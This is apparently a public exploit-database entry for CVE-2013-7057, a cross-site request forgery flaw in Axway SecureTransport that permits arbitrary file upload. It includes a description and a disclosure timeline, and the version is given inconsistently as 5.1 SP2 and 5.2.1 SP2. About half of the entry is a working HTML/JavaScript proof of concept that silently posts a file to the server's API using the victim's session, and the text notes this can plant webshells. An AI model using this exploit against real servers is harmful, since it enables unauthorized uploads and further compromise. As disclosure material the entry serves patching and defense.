webappphptext

Axway Secure Transport 5.1 SP2 - Arbitrary File Upload (via Cross-Site Request Forgery)

Publié le 2014-10-23

Code source

Épinglé au commit 7eac4c3a2ce5

textplatforms/php/webapps/35046.txt7eac4c3a

<!--

# Exploit Title: Axway Secure Transport 5.1 SP2 Arbitary File Upload via CSRF

# Exploit author: Emmanuel Law 

# Public Disclosure Date : 20/10/14

# Vendor homepage: http://www.axway.com

# Affected Software version: Axway Secure Transport 5.2.1 SP2 and possibly earlier versions.

# CVE: CVE-2013-7057



Software Description:

=====================

Axway SecureTransport is a multi-protocol Managed File Transfer (MFT) gateway solution that enables organizations to secure, manage, and track the transfer of files inside and outside the enterprise firewall.



Vulnerability Description:

=====================

It is possible to conduct CSRF on a user to upload arbitary files on the Axway Secure Transport server. This is due to the lack of anti-CSRF tokens in the web API. An adversary may exploit this to upload webshells for further attacks.





Vulnerability Disclosure Timeline:

==================================

12/12/13 - Discovered vulnerability and notified Vendor

17/10/14 - Verified with Vendor that a patch has been released.

20/10/14 - Public disclosure



Steps to reproduce / PoC:

=========================

-->





<html>

  <!-- CSRF PoC to upload file to sftp.example.org- -->

  <body>

    <script>

      function submitRequest()

      {

        var xhr = new XMLHttpRequest();

        xhr.open("POST", "https://sftp.example.org/api/v1.0/files/", true);

        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------19278872527677784281970288330");

        xhr.withCredentials = true;

        var body = "-----------------------------19278872527677784281970288330\r\n" + 

          "Content-Disposition: form-data; name=\"upload[]\"; filename=\"AURA_TEST.randomExtension\"\r\n" + 

          "Content-Type: application/octet-stream\r\n" + 

          "\r\n" + 

          "FILEDATA\r\n" + 

          "-----------------------------19278872527677784281970288330--\r\n";

        var aBody = new Uint8Array(body.length);

        for (var i = 0; i < aBody.length; i++)

          aBody[i] = body.charCodeAt(i); 

        xhr.send(new Blob([aBody]));

      }

    </script>

    <form action="#">

      <input type="button" value="Submit request" onclick="submitRequest();" />

    </form>

  </body>

</html>

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